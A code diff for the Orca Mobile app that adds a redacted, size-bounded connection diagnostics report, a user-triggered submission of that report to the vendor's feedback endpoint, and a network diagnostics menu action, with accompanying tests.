diff --git a/mobile/src/diagnostics/connection-diagnostics-report.test.ts b/mobile/src/diagnostics/connection-diagnostics-report.test.ts
index d2326ffa022..35a1425165b 100644
--- a/mobile/src/diagnostics/connection-diagnostics-report.test.ts
+++ b/mobile/src/diagnostics/connection-diagnostics-report.test.ts
@@ -13,6 +13,7 @@ describe('buildConnectionDiagnosticsReport', () => {
       lastConnectedAt: NOW - 5 * 60_000,
       platform: 'ios 26.5.1',
       appVersion: '0.0.29',
+      desktopAppVersion: '1.4.191',
       entries: [
         {
           id: 'log-1',
@@ -26,6 +27,7 @@ describe('buildConnectionDiagnosticsReport', () => {
     })
 
     expect(report).toContain('App: Orca Mobile 0.0.29 · ios 26.5.1')
+    expect(report).toContain('Host Orca version: 1.4.191')
     expect(report).toContain('Endpoint: 100.65.9.106:6768 (Tailscale)')
     expect(report).toContain('State: reconnecting (reconnect attempts: 12)')
     expect(report).toContain('(5m 0s ago)')
@@ -48,8 +50,96 @@ describe('buildConnectionDiagnosticsReport', () => {
     })
 
     expect(report).toContain('Endpoint: 192.168.1.50:6768')
+    expect(report).toContain('Host Orca version: unknown')
     expect(report).not.toContain('(Tailscale)')
     expect(report).toContain('Last connected: never this session')
-    expect(report).toContain('No connection events recorded this session.')
+    expect(report).toContain('No connection events recorded.')
+  })
+
+  it('explains the most likely cause and redacts credentials before copying', () => {
+    const report = buildConnectionDiagnosticsReport({
+      hostName: 'Host 3',
+      endpoint: 'ws://100.88.90.25:6768',
+      state: 'reconnecting',
+      reconnectAttempts: 4,
+      lastConnectedAt: null,
+      platform: 'android 36',
+      appVersion: '0.0.46',
+      activePath: 'tailscale',
+      pendingPath: 'relay',
+      entries: [
+        {
+          id: 'relay-failure',
+          ts: NOW - 5_000,
+          level: 'error',
+          message: 'Relay: relay dial failed',
+          detail:
+            'RelayDirectorHttpError: relay director resolve failed (503); retry after 30000ms; resumeToken=secret-resume-token'
+        }
+      ],
+      nowMs: NOW
+    })
+
+    expect(report).toContain(
+      'Likely cause: Relay service was temporarily unavailable and asked Orca to retry in 30s.'
+    )
+    expect(report).toContain('Path: active=tailscale; recovery=relay')
+    expect(report).toContain('Next step: Keep Orca open; recovery should retry automatically.')
+    expect(report).toContain('resumeToken=[redacted]')
+    expect(report).not.toContain('secret-resume-token')
+  })
+
+  it('redacts quoted JSON credentials and never echoes an invalid endpoint', () => {
+    const report = buildConnectionDiagnosticsReport({
+      hostName: 'Host 4',
+      endpoint: 'not-a-url?token=endpoint-secret',
+      state: 'reconnecting',
+      reconnectAttempts: 1,
+      lastConnectedAt: null,
+      platform: 'android 36',
+      appVersion: '0.0.47',
+      entries: [
+        {
+          id: 'json-secret',
+          ts: NOW,
+          level: 'error',
+          message: 'Relay failed',
+          detail: '{"resumeToken":"json-secret","authorization":"Bearer bearer-secret"}'
+        }
+      ],
+      nowMs: NOW
+    })
+
+    expect(report).toContain('Endpoint: invalid endpoint')
+    expect(report).not.toContain('endpoint-secret')
+    expect(report).not.toContain('json-secret')
+    expect(report).not.toContain('bearer-secret')
+  })
+
+  it('bounds a single event line before submission while preserving its identity', () => {
+    const report = buildConnectionDiagnosticsReport({
+      hostName: 'Host 5',
+      endpoint: 'ws://192.168.1.2:6768',
+      state: 'reconnecting',
+      reconnectAttempts: 1,
+      lastConnectedAt: null,
+      platform: 'android 36',
+      appVersion: '0.0.47',
+      entries: [
+        {
+          id: 'oversized',
+          ts: NOW,
+          level: 'error',
+          message: `newest oversized ${'😀'.repeat(2_000)}`
+        }
+      ],
+      nowMs: NOW
+    })
+
+    expect(report).toContain('newest oversized')
+    expect(report).toContain('[truncated]')
+    expect(new TextEncoder().encode(report.split('\n').at(-1)!).byteLength).toBeLessThanOrEqual(
+      2048
+    )
   })
 })
diff --git a/mobile/src/diagnostics/connection-diagnostics-report.ts b/mobile/src/diagnostics/connection-diagnostics-report.ts
index c762c69799e..0507b44349a 100644
--- a/mobile/src/diagnostics/connection-diagnostics-report.ts
+++ b/mobile/src/diagnostics/connection-diagnostics-report.ts
@@ -1,6 +1,16 @@
 import { isTailscaleEndpoint } from '../../../src/shared/remote-runtime-tailscale-hint'
-import type { ConnectionLogEntry, ConnectionState } from '../transport/types'
+import type {
+  ConnectionLogEntry,
+  ConnectionState,
+  MobileConnectionDiagnosticPath
+} from '../transport/types'
+import { normalizeHostAppVersion } from '../transport/host-app-version-store'
 import { formatEndpoint } from './host-reachability'
+import { diagnoseConnection } from './connection-diagnostics-analysis'
+import { redactConnectionLogEntry, redactConnectionLogText } from './connection-log-redaction'
+
+const MAX_EVENT_LINE_BYTES = 2 * 1024
+const EVENT_TRUNCATION_MARKER = ' … [truncated]'
 
 // Why: one shareable text blob answering everything we historically had to
 // ask reporters one message at a time (endpoint type, state, attempt count,
@@ -13,37 +23,83 @@ export function buildConnectionDiagnosticsReport(args: {
   lastConnectedAt: number | null
   platform: string
   appVersion: string
+  desktopAppVersion?: string | null
   entries: readonly ConnectionLogEntry[]
+  activePath?: MobileConnectionDiagnosticPath
+  pendingPath?: MobileConnectionDiagnosticPath | null
   nowMs?: number
 }): string {
   const now = args.nowMs ?? Date.now()
+  const entries = args.entries.map(redactConnectionLogEntry)
+  const diagnosis = diagnoseConnection({
+    endpoint: args.endpoint,
+    state: args.state,
+    activePath: args.activePath,
+    pendingPath: args.pendingPath,
+    entries
+  })
   const lines: string[] = []
   lines.push('Orca Mobile connection diagnostics')
   lines.push(`Generated: ${new Date(now).toISOString()}`)
   lines.push(`App: Orca Mobile ${args.appVersion} · ${args.platform}`)
-  lines.push(`Host: ${args.hostName}`)
+  const desktopAppVersion = normalizeHostAppVersion(args.desktopAppVersion)
+  lines.push(`Host Orca version: ${desktopAppVersion ?? 'unknown'}`)
+  lines.push(`Host: ${redactConnectionLogText(args.hostName)}`)
   lines.push(
     `Endpoint: ${formatEndpoint(args.endpoint)}${isTailscaleEndpoint(args.endpoint) ? ' (Tailscale)' : ''}`
   )
   lines.push(`State: ${args.state} (reconnect attempts: ${args.reconnectAttempts})`)
+  if (args.activePath) {
+    lines.push(
+      `Path: active=${args.activePath}${args.pendingPath ? `; recovery=${args.pendingPath}` : ''}`
+    )
+  }
   lines.push(
     args.lastConnectedAt == null
       ? 'Last connected: never this session'
       : `Last connected: ${new Date(args.lastConnectedAt).toISOString()} (${formatAgo(now - args.lastConnectedAt)} ago)`
   )
   lines.push('')
-  if (args.entries.length === 0) {
-    lines.push('No connection events recorded this session.')
+  lines.push(`Likely cause: ${diagnosis.likelyCause}`)
+  lines.push(`Next step: ${diagnosis.nextStep}`)
+  lines.push('')
+  if (entries.length === 0) {
+    lines.push('No connection events recorded.')
   } else {
-    lines.push(`Connection log (${args.entries.length} events, oldest first):`)
-    for (const entry of args.entries) {
+    lines.push(`Recent connection history (${entries.length} events, oldest first):`)
+    for (const entry of entries) {
       const detail = entry.detail ? ` — ${entry.detail}` : ''
-      lines.push(`${new Date(entry.ts).toISOString()} [${entry.level}] ${entry.message}${detail}`)
+      const evidence = [entry.code, entry.path].filter(Boolean).join(' · ')
+      lines.push(
+        truncateUtf8WithMarker(
+          `${new Date(entry.ts).toISOString()} [${entry.level}]${evidence ? ` [${evidence}]` : ''} ${entry.message}${detail}`,
+          MAX_EVENT_LINE_BYTES,
+          EVENT_TRUNCATION_MARKER
+        )
+      )
     }
   }
   return lines.join('\n')
 }
 
+function truncateUtf8WithMarker(value: string, maxBytes: number, marker: string): string {
+  if (new TextEncoder().encode(value).byteLength <= maxBytes) {
+    return value
+  }
+  const markerBytes = new TextEncoder().encode(marker).byteLength
+  const characters: string[] = []
+  let bytes = 0
+  for (const character of value) {
+    const characterBytes = new TextEncoder().encode(character).byteLength
+    if (bytes + characterBytes + markerBytes > maxBytes) {
+      break
+    }
+    characters.push(character)
+    bytes += characterBytes
+  }
+  return `${characters.join('')}${marker}`
+}
+
 function formatAgo(ms: number): string {
   const seconds = Math.max(0, Math.round(ms / 1000))
   if (seconds < 60) {
diff --git a/mobile/src/diagnostics/connection-diagnostics-screen-data.test.ts b/mobile/src/diagnostics/connection-diagnostics-screen-data.test.ts
new file mode 100644
index 00000000000..06ec5dabf81
--- /dev/null
+++ b/mobile/src/diagnostics/connection-diagnostics-screen-data.test.ts
@@ -0,0 +1,107 @@
+import { describe, expect, it, vi } from 'vitest'
+import {
+  getDiagnosticsSubmissionState,
+  readConnectionDiagnosticsSnapshot,
+  readHydratedConnectionLog,
+  resolveDiagnosticsHostId,
+  selectDiagnosticsHostId,
+  updateDiagnosticsSubmissionState
+} from './connection-diagnostics-screen-data'
+import type { ConnectionLogEntry, HostProfile } from '../transport/types'
+
+const host = (id: string): HostProfile => ({
+  id,
+  name: id,
+  endpoint: 'ws://192.168.1.2:6768',
+  deviceToken: 'token',
+  publicKeyB64: 'key',
+  lastConnected: 0
+})
+
+describe('connection diagnostics screen data', () => {
+  it('prefers a valid route host when navigation changes', () => {
+    expect(selectDiagnosticsHostId([host('a'), host('b')], 'b', 'a')).toBe('b')
+    expect(selectDiagnosticsHostId([host('a')], 'missing', 'missing')).toBe('a')
+  })
+
+  it('applies route changes synchronously without discarding a chip choice for the same route', () => {
+    const hosts = [host('a'), host('b')]
+    expect(resolveDiagnosticsHostId(hosts, undefined, null)).toBe('a')
+    expect(resolveDiagnosticsHostId(hosts, 'b', { hostId: 'a', requestedHostId: 'a' })).toBe('b')
+    expect(resolveDiagnosticsHostId(hosts, 'b', { hostId: 'a', requestedHostId: 'b' })).toBe('a')
+  })
+
+  it('does not revive a stale manual choice when routing away and back', () => {
+    const hosts = [host('a'), host('b'), host('c')]
+    const firstRouteA = {}
+    const routeC = {}
+    const secondRouteA = {}
+    const manualSelection = { hostId: 'b', requestedHostId: 'a', routeKey: firstRouteA }
+
+    expect(resolveDiagnosticsHostId(hosts, 'c', manualSelection, routeC)).toBe('c')
+    expect(resolveDiagnosticsHostId(hosts, 'a', manualSelection, secondRouteA)).toBe('a')
+  })
+
+  it('keeps async submission completion scoped to its host incident', () => {
+    let states = updateDiagnosticsSubmissionState({}, 'host-a:incident-1', 'sending')
+    states = updateDiagnosticsSubmissionState(states, 'host-b:incident-2', 'sending')
+    states = updateDiagnosticsSubmissionState(states, 'host-a:incident-1', 'sent')
+
+    expect(getDiagnosticsSubmissionState(states, 'host-a:incident-1')).toBe('sent')
+    expect(getDiagnosticsSubmissionState(states, 'host-b:incident-2')).toBe('sending')
+  })
+
+  it('waits for hydration and then reads the refreshed log', async () => {
+    const entries: ConnectionLogEntry[] = []
+    const store = {
+      hydrate: vi.fn(async () => {
+        entries.push({ id: 'stored', ts: 1, level: 'info', message: 'stored event' })
+      }),
+      get: vi.fn(() => entries)
+    }
+
+    await expect(readHydratedConnectionLog(store, 'host-a')).resolves.toEqual(entries)
+    expect(store.get).toHaveBeenCalledAfter(store.hydrate)
+  })
+
+  it('retries one transient hydration failure before reading', async () => {
+    const entries = [{ id: 'stored', ts: 1, level: 'info' as const, message: 'stored event' }]
+    const store = {
+      hydrate: vi
+        .fn()
+        .mockRejectedValueOnce(new Error('storage unavailable'))
+        .mockResolvedValueOnce(undefined),
+      get: vi.fn(() => entries)
+    }
+
+    await expect(readHydratedConnectionLog(store, 'host-a')).resolves.toEqual(entries)
+    expect(store.hydrate).toHaveBeenCalledTimes(2)
+  })
+
+  it('reads connection metadata after hydration completes', async () => {
+    let state: 'connecting' | 'reconnecting' = 'connecting'
+    const store = {
+      hydrate: vi.fn(async () => {
+        state = 'reconnecting'
+      }),
+      get: vi.fn(() => [{ id: 'new', ts: 2, level: 'warn' as const, message: 'new event' }])
+    }
+    const context = {
+      getState: vi.fn(() => state),
+      getReconnectAttempt: vi.fn(() => 2),
+      getLastConnectedAt: vi.fn(() => 1),
+      getActivePath: vi.fn(() => 'relay' as const),
+      getPendingPath: vi.fn(() => null)
+    }
+
+    await expect(readConnectionDiagnosticsSnapshot(context, store, 'host-a')).resolves.toEqual({
+      state: 'reconnecting',
+      reconnectAttempts: 2,
+      lastConnectedAt: 1,
+      activePath: 'relay',
+      pendingPath: null,
+      entries: [{ id: 'new', ts: 2, level: 'warn', message: 'new event' }]
+    })
+    expect(context.getState).toHaveBeenCalledAfter(store.hydrate)
+  })
+})
diff --git a/mobile/src/diagnostics/connection-diagnostics-screen-data.ts b/mobile/src/diagnostics/connection-diagnostics-screen-data.ts
new file mode 100644
index 00000000000..c8a2ed589c8
--- /dev/null
+++ b/mobile/src/diagnostics/connection-diagnostics-screen-data.ts
@@ -0,0 +1,94 @@
+import type { ConnectionLogStore } from '../transport/connection-log-buffer'
+import type { ConnectionLogEntry, HostProfile } from '../transport/types'
+import type { RpcClientContextValue } from '../transport/rpc-client-context-contract'
+
+export type DiagnosticsHostSelection = {
+  hostId: string
+  requestedHostId: string | undefined
+  routeKey?: object
+}
+
+export type DiagnosticsSubmissionState = 'sending' | 'sent' | 'failed'
+export type DiagnosticsSubmissionStates = Readonly<Record<string, DiagnosticsSubmissionState>>
+
+export function selectDiagnosticsHostId(
+  hosts: readonly HostProfile[],
+  requestedHostId: string | undefined,
+  previousHostId: string | null
+): string | null {
+  if (requestedHostId && hosts.some((host) => host.id === requestedHostId)) {
+    return requestedHostId
+  }
+  if (previousHostId && hosts.some((host) => host.id === previousHostId)) {
+    return previousHostId
+  }
+  return hosts[0]?.id ?? null
+}
+
+export function resolveDiagnosticsHostId(
+  hosts: readonly HostProfile[],
+  requestedHostId: string | undefined,
+  manualSelection: DiagnosticsHostSelection | null,
+  routeKey?: object
+): string | null {
+  const selected = manualSelection
+  if (selected && selected.requestedHostId === requestedHostId && selected.routeKey === routeKey) {
+    const manualHostId = selected.hostId
+    if (hosts.some((host) => host.id === manualHostId)) {
+      return manualHostId
+    }
+  }
+  return selectDiagnosticsHostId(hosts, requestedHostId, null)
+}
+
+export function getDiagnosticsSubmissionState(
+  states: DiagnosticsSubmissionStates,
+  key: string | null
+): DiagnosticsSubmissionState | 'idle' {
+  return key ? (states[key] ?? 'idle') : 'idle'
+}
+
+export function updateDiagnosticsSubmissionState(
+  states: DiagnosticsSubmissionStates,
+  key: string,
+  state: DiagnosticsSubmissionState | null
+): DiagnosticsSubmissionStates {
+  const next = { ...states }
+  if (state) {
+    next[key] = state
+  } else {
+    delete next[key]
+  }
+  return next
+}
+
+export async function readHydratedConnectionLog(
+  store: Pick<ConnectionLogStore, 'hydrate' | 'get'>,
+  hostId: string
+): Promise<readonly ConnectionLogEntry[]> {
+  try {
+    await store.hydrate(hostId)
+  } catch {
+    await store.hydrate(hostId).catch(() => {})
+  }
+  return store.get(hostId)
+}
+
+export async function readConnectionDiagnosticsSnapshot(
+  context: Pick<
+    RpcClientContextValue,
+    'getState' | 'getReconnectAttempt' | 'getLastConnectedAt' | 'getActivePath' | 'getPendingPath'
+  >,
+  store: Pick<ConnectionLogStore, 'hydrate' | 'get'>,
+  hostId: string
+) {
+  const entries = await readHydratedConnectionLog(store, hostId)
+  return {
+    state: context.getState(hostId),
+    reconnectAttempts: context.getReconnectAttempt(hostId),
+    lastConnectedAt: context.getLastConnectedAt(hostId),
+    activePath: context.getActivePath(hostId),
+    pendingPath: context.getPendingPath(hostId),
+    entries
+  }
+}
diff --git a/mobile/src/diagnostics/connection-diagnostics-submission.test.ts b/mobile/src/diagnostics/connection-diagnostics-submission.test.ts
new file mode 100644
index 00000000000..f2977b6055c
--- /dev/null
+++ b/mobile/src/diagnostics/connection-diagnostics-submission.test.ts
@@ -0,0 +1,71 @@
+import { describe, expect, it, vi } from 'vitest'
+import {
+  boundConnectionDiagnosticsReport,
+  submitConnectionDiagnostics
+} from './connection-diagnostics-submission'
+
+describe('submitConnectionDiagnostics', () => {
+  it('sends a bounded report through the diagnostics lane', async () => {
+    const fetchImpl = vi.fn<typeof fetch>().mockResolvedValue(new Response(null, { status: 204 }))
+    const result = await submitConnectionDiagnostics(
+      { report: 'x'.repeat(100_000), appVersion: '0.0.47', platform: 'android 36' },
+      fetchImpl
+    )
+
+    expect(result).toEqual({ ok: true })
+    expect(fetchImpl).toHaveBeenCalledWith(
+      'https://www.onorca.dev/v1/feedback',
+      expect.objectContaining({ method: 'POST' })
+    )
+    const request = fetchImpl.mock.calls[0]?.[1]
+    const body = JSON.parse(String(request?.body)) as { feedback: string; submissionType: string }
+    expect(body.submissionType).toBe('connection_diagnostics')
+    expect(new TextEncoder().encode(body.feedback).byteLength).toBeLessThanOrEqual(64 * 1024)
+  })
+
+  it('returns a safe failure for a rejected response', async () => {
+    const fetchImpl = vi.fn<typeof fetch>().mockResolvedValue(new Response(null, { status: 503 }))
+    await expect(
+      submitConnectionDiagnostics(
+        { report: 'report', appVersion: '0.0.47', platform: 'android' },
+        fetchImpl
+      )
+    ).resolves.toEqual({ ok: false, error: 'status 503' })
+  })
+
+  it('preserves the newest complete events when bounding a UTF-8 report', () => {
+    const report = [
+      'Orca Mobile connection diagnostics',
+      'State: reconnecting',
+      '',
+      'Recent connection history (3 events, oldest first):',
+      `oldest ${'😀'.repeat(20)}`,
+      `middle ${'😀'.repeat(20)}`,
+      `newest ${'😀'.repeat(20)}`
+    ].join('\n')
+
+    const bounded = boundConnectionDiagnosticsReport(report, 180)
+
+    expect(new TextEncoder().encode(bounded).byteLength).toBeLessThanOrEqual(180)
+    expect(bounded).toContain('newest')
+    expect(bounded).not.toContain('oldest')
+    expect(bounded).toMatch(/older omitted/)
+  })
+
+  it('retains a bounded form of the newest event when that event exceeds the budget', () => {
+    const report = [
+      'Orca Mobile connection diagnostics',
+      'State: reconnecting',
+      '',
+      'Recent connection history (2 events, oldest first):',
+      'old event',
+      `newest oversized ${'😀'.repeat(1_000)}`
+    ].join('\n')
+
+    const bounded = boundConnectionDiagnosticsReport(report, 220)
+
+    expect(new TextEncoder().encode(bounded).byteLength).toBeLessThanOrEqual(220)
+    expect(bounded).toContain('newest oversized')
+    expect(bounded).toContain('[truncated]')
+  })
+})
diff --git a/mobile/src/diagnostics/connection-diagnostics-submission.ts b/mobile/src/diagnostics/connection-diagnostics-submission.ts
new file mode 100644
index 00000000000..67e220f86c7
--- /dev/null
+++ b/mobile/src/diagnostics/connection-diagnostics-submission.ts
@@ -0,0 +1,125 @@
+const CONNECTION_DIAGNOSTICS_ENDPOINT = 'https://www.onorca.dev/v1/feedback'
+const SUBMISSION_TIMEOUT_MS = 10_000
+const MAX_SUBMISSION_BYTES = 64 * 1024
+
+export type ConnectionDiagnosticsSubmission = {
+  report: string
+  appVersion: string
+  platform: string
+}
+
+export type ConnectionDiagnosticsSubmissionResult = { ok: true } | { ok: false; error: string }
+
+/** Sends only the already-redacted, bounded report after an explicit user tap. */
+export async function submitConnectionDiagnostics(
+  submission: ConnectionDiagnosticsSubmission,
+  fetchImpl: typeof fetch = fetch
+): Promise<ConnectionDiagnosticsSubmissionResult> {
+  const report = boundConnectionDiagnosticsReport(submission.report)
+  const controller = new AbortController()
+  const timeout = setTimeout(() => controller.abort(), SUBMISSION_TIMEOUT_MS)
+  try {
+    const response = await fetchImpl(CONNECTION_DIAGNOSTICS_ENDPOINT, {
+      method: 'POST',
+      headers: { 'Content-Type': 'application/json' },
+      body: JSON.stringify({
+        feedback: report,
+        submissionType: 'connection_diagnostics',
+        githubLogin: null,
+        githubEmail: null,
+        appVersion: submission.appVersion,
+        platform: `mobile-${submission.platform}`,
+        osRelease: 'unknown',
+        arch: 'unknown'
+      }),
+      signal: controller.signal
+    })
+    return response.ok ? { ok: true } : { ok: false, error: `status ${response.status}` }
+  } catch (error) {
+    return {
+      ok: false,
+      error: controller.signal.aborted
+        ? 'request timed out'
+        : error instanceof Error
+          ? error.message
+          : 'request failed'
+    }
+  } finally {
+    clearTimeout(timeout)
+  }
+}
+
+export function boundConnectionDiagnosticsReport(
+  report: string,
+  maxBytes: number = MAX_SUBMISSION_BYTES
+): string {
+  if (utf8Bytes(report) <= maxBytes) {
+    return report
+  }
+  const lines = report.split('\n')
+  const historyIndex = lines.findIndex((line) => line.startsWith('Recent connection history ('))
+  if (historyIndex === -1) {
+    return truncateUtf8(report, maxBytes)
+  }
+  const header = lines.slice(0, historyIndex)
+  const events = lines.slice(historyIndex + 1)
+  let kept: string[] = []
+  for (let index = events.length - 1; index >= 0; index--) {
+    const candidateEvents = [events[index]!, ...kept]
+    const candidate = formatBoundedReport(header, candidateEvents, events.length)
+    if (utf8Bytes(candidate) > maxBytes) {
+      break
+    }
+    kept = candidateEvents
+  }
+  if (kept.length === 0 && events.length > 0) {
+    return formatReportWithTruncatedNewestEvent(header, events, maxBytes)
+  }
+  return truncateUtf8(formatBoundedReport(header, kept, events.length), maxBytes)
+}
+
+function formatReportWithTruncatedNewestEvent(
+  header: string[],
+  events: string[],
+  maxBytes: number
+): string {
+  const history = `Recent connection history (1 newest event; ${events.length - 1} older omitted):`
+  const prefix = [...header, history].join('\n') + '\n'
+  const availableBytes = maxBytes - utf8Bytes(prefix)
+  if (availableBytes <= 0) {
+    return truncateUtf8(prefix, maxBytes)
+  }
+  const marker = ' … [truncated]'
+  const markerBytes = utf8Bytes(marker)
+  if (availableBytes <= markerBytes) {
+    return truncateUtf8(prefix, maxBytes)
+  }
+  return `${prefix}${truncateUtf8(events.at(-1)!, availableBytes - markerBytes)}${marker}`
+}
+
+function formatBoundedReport(header: string[], events: string[], totalEvents: number): string {
+  const omitted = totalEvents - events.length
+  return [
+    ...header,
+    `Recent connection history (${events.length} newest events; ${omitted} older omitted):`,
+    ...events
+  ].join('\n')
+}
+
+function truncateUtf8(value: string, maxBytes: number): string {
+  const characters: string[] = []
+  let bytes = 0
+  for (const character of value) {
+    const characterBytes = utf8Bytes(character)
+    if (bytes + characterBytes > maxBytes) {
+      break
+    }
+    characters.push(character)
+    bytes += characterBytes
+  }
+  return characters.join('')
+}
+
+function utf8Bytes(value: string): number {
+  return new TextEncoder().encode(value).byteLength
+}
diff --git a/mobile/src/diagnostics/connection-log-redaction.ts b/mobile/src/diagnostics/connection-log-redaction.ts
new file mode 100644
index 00000000000..0461385172a
--- /dev/null
+++ b/mobile/src/diagnostics/connection-log-redaction.ts
@@ -0,0 +1,51 @@
+import type { ConnectionLogEntry } from '../transport/types'
+
+const SECRET_JSON_ASSIGNMENT =
+  /(["'])(resumeToken|deviceToken|authorization|credential|token|publicKeyB64)\1(\s*:\s*)(["'])(?:Bearer\s+)?(?:\\.|(?!\4)[^\\\r\n])*\4/gi
+const SECRET_QUOTED_VALUE_ASSIGNMENT =
+  /\b(resumeToken|deviceToken|authorization|credential|token|publicKeyB64)(\s*[:=]\s*)(["'])(?:Bearer\s+)?(?:\\.|(?!\3)[^\\\r\n])*\3/gi
+const SECRET_UNTERMINATED_JSON_ASSIGNMENT =
+  /(["'])(resumeToken|deviceToken|authorization|credential|token|publicKeyB64)\1(\s*:\s*)(["'])(?:Bearer\s+)?(?:\\.|(?!\4)[^\\\r\n])*(?=\r?\n|$)/gi
+const SECRET_UNTERMINATED_QUOTED_VALUE_ASSIGNMENT =
+  /\b(resumeToken|deviceToken|authorization|credential|token|publicKeyB64)(\s*[:=]\s*)(["'])(?:Bearer\s+)?(?:\\.|(?!\3)[^\\\r\n])*(?=\r?\n|$)/gi
+const SECRET_ASSIGNMENT =
+  /\b(resumeToken|deviceToken|authorization|credential|token|publicKeyB64)(\s*[:=]\s*)(?:Bearer\s+)?([^\s;,}"']+)/gi
+const SECRET_QUERY = /([?&](?:token|credential|resumeToken|deviceToken)=)[^&#\s]+/gi
+const URL_USERINFO = /((?:wss?|https?):\/\/)[^\s/?#]*@/gi
+
+export function redactConnectionLogText(value: string): string {
+  return value
+    .replace(
+      SECRET_JSON_ASSIGNMENT,
+      (_match, keyQuote: string, label: string, separator: string, valueQuote: string) =>
+        `${keyQuote}${label}${keyQuote}${separator}${valueQuote}[redacted]${valueQuote}`
+    )
+    .replace(
+      SECRET_QUOTED_VALUE_ASSIGNMENT,
+      (_match, label: string, separator: string, valueQuote: string) =>
+        `${label}${separator}${valueQuote}[redacted]${valueQuote}`
+    )
+    .replace(
+      SECRET_UNTERMINATED_JSON_ASSIGNMENT,
+      (_match, keyQuote: string, label: string, separator: string, valueQuote: string) =>
+        `${keyQuote}${label}${keyQuote}${separator}${valueQuote}[redacted]`
+    )
+    .replace(
+      SECRET_UNTERMINATED_QUOTED_VALUE_ASSIGNMENT,
+      (_match, label: string, separator: string, valueQuote: string) =>
+        `${label}${separator}${valueQuote}[redacted]`
+    )
+    .replace(SECRET_ASSIGNMENT, (_match, label: string, separator: string) => {
+      return `${label}${separator}[redacted]`
+    })
+    .replace(SECRET_QUERY, '$1[redacted]')
+    .replace(URL_USERINFO, '$1[redacted]@')
+}
+
+export function redactConnectionLogEntry(entry: ConnectionLogEntry): ConnectionLogEntry {
+  return {
+    ...entry,
+    message: redactConnectionLogText(entry.message),
+    ...(entry.detail ? { detail: redactConnectionLogText(entry.detail) } : {})
+  }
+}
diff --git a/mobile/src/diagnostics/host-reachability.test.ts b/mobile/src/diagnostics/host-reachability.test.ts
index d20bc8c28cf..3d2bd5b80e5 100644
--- a/mobile/src/diagnostics/host-reachability.test.ts
+++ b/mobile/src/diagnostics/host-reachability.test.ts
@@ -1,5 +1,5 @@
 import { describe, expect, it, vi } from 'vitest'
-import { testHostReachability, unreachableHostDetail } from './host-reachability'
+import { formatEndpoint, testHostReachability, unreachableHostDetail } from './host-reachability'
 
 describe('unreachableHostDetail', () => {
   it('points at Tailscale for tailnet CGNAT endpoints', () => {
@@ -21,6 +21,10 @@ describe('unreachableHostDetail', () => {
   it('does not treat non-CGNAT 100.x addresses as Tailscale', () => {
     expect(unreachableHostDetail('ws://100.20.1.5:6768')).toBe('Cannot reach 100.20.1.5:6768')
   })
+
+  it('does not echo malformed endpoints that may contain credentials', () => {
+    expect(formatEndpoint('not-a-url?token=secret')).toBe('invalid endpoint')
+  })
 })
 
 describe('testHostReachability', () => {
diff --git a/mobile/src/diagnostics/host-reachability.ts b/mobile/src/diagnostics/host-reachability.ts
index 495d65a9764..f5333bb5405 100644
--- a/mobile/src/diagnostics/host-reachability.ts
+++ b/mobile/src/diagnostics/host-reachability.ts
@@ -55,7 +55,7 @@ export function formatEndpoint(endpoint: string): string {
     const url = new URL(endpoint)
     return url.host
   } catch {
-    return endpoint
+    return 'invalid endpoint'
   }
 }
 
diff --git a/mobile/src/home/MobileHomeScreen.tsx b/mobile/src/home/MobileHomeScreen.tsx
index 44c65bf018a..83cf3de4b8a 100644
--- a/mobile/src/home/MobileHomeScreen.tsx
+++ b/mobile/src/home/MobileHomeScreen.tsx
@@ -177,6 +177,8 @@ export function MobileHomeScreen() {
           onDismiss: () => setActionTarget(null),
           onReconnect: (hostId) => void forceReconnectHost(hostId),
           onDisconnect: disconnectHostClient,
+          onDiagnostics: (hostId) =>
+            data.router.push({ pathname: '/connection-log', params: { hostId } }),
           onEdit: openMobileHostEdit,
           onRemove: (host) => setConfirmRemove(host)
         })}
diff --git a/mobile/src/host-list-action-sheet-actions.test.ts b/mobile/src/host-list-action-sheet-actions.test.ts
index 2fb90334082..3672bd81f96 100644
--- a/mobile/src/host-list-action-sheet-actions.test.ts
+++ b/mobile/src/host-list-action-sheet-actions.test.ts
@@ -3,6 +3,7 @@ import { getHostListActionSheetActions } from './host-list-action-sheet-actions'
 import type { ConnectionState, HostProfile } from './transport/types'
 
 vi.mock('lucide-react-native', () => ({
+  Activity: vi.fn(),
   Edit3: vi.fn(),
   PowerOff: vi.fn(),
   RefreshCw: vi.fn()
@@ -22,6 +23,7 @@ function build(overrides: { state?: ConnectionState; hasEverConnected?: boolean
     onDismiss: vi.fn(),
     onReconnect: vi.fn(),
     onDisconnect: vi.fn(),
+    onDiagnostics: vi.fn(),
     onEdit: vi.fn(),
     onRemove: vi.fn()
   }
@@ -35,14 +37,17 @@ function build(overrides: { state?: ConnectionState; hasEverConnected?: boolean
 }
 
 describe('getHostListActionSheetActions', () => {
-  // Why: both open a second drawer. Presenting one while this sheet's native
+  // Why: these navigate or open a second drawer. Presenting while this sheet's native
   // Modal is still up freezes the whole screen on iOS — issue #8791.
-  it.each(['Edit host', 'Remove'])('defers %s until the action sheet has closed', (label) => {
-    const { actions } = build()
-    expect(actions.find((action) => action.label === label)).toMatchObject({
-      closeBeforePress: true
-    })
-  })
+  it.each(['Network diagnostics', 'Edit host', 'Remove'])(
+    'defers %s until the action sheet has closed',
+    (label) => {
+      const { actions } = build()
+      expect(actions.find((action) => action.label === label)).toMatchObject({
+        closeBeforePress: true
+      })
+    }
+  )
 
   it('leaves the in-place actions undeferred so they fire on tap', () => {
     const { actions, spies } = build()
@@ -65,15 +70,23 @@ describe('getHostListActionSheetActions', () => {
     expect(spies.onEdit).toHaveBeenCalledWith(HOST.id)
   })
 
+  it('routes Network diagnostics with the selected host', () => {
+    const { actions, spies } = build()
+    actions.find((action) => action.label === 'Network diagnostics')?.onPress()
+    expect(spies.onDiagnostics).toHaveBeenCalledWith(HOST.id)
+  })
+
   it('offers Disconnect only while the socket is live', () => {
     expect(build({ state: 'reconnecting' }).actions.map((action) => action.label)).toEqual([
       'Reconnect',
       'Disconnect',
+      'Network diagnostics',
       'Edit host',
       'Remove'
     ])
     expect(build({ state: 'disconnected' }).actions.map((action) => action.label)).toEqual([
       'Connect',
+      'Network diagnostics',
       'Edit host',
       'Remove'
     ])
@@ -93,6 +106,7 @@ describe('getHostListActionSheetActions', () => {
         onDismiss: vi.fn(),
         onReconnect: vi.fn(),
         onDisconnect: vi.fn(),
+        onDiagnostics: vi.fn(),
         onEdit: vi.fn(),
         onRemove: vi.fn()
       })
diff --git a/mobile/src/host-list-action-sheet-actions.ts b/mobile/src/host-list-action-sheet-actions.ts
index b045db7eea4..22b1472e7c3 100644
--- a/mobile/src/host-list-action-sheet-actions.ts
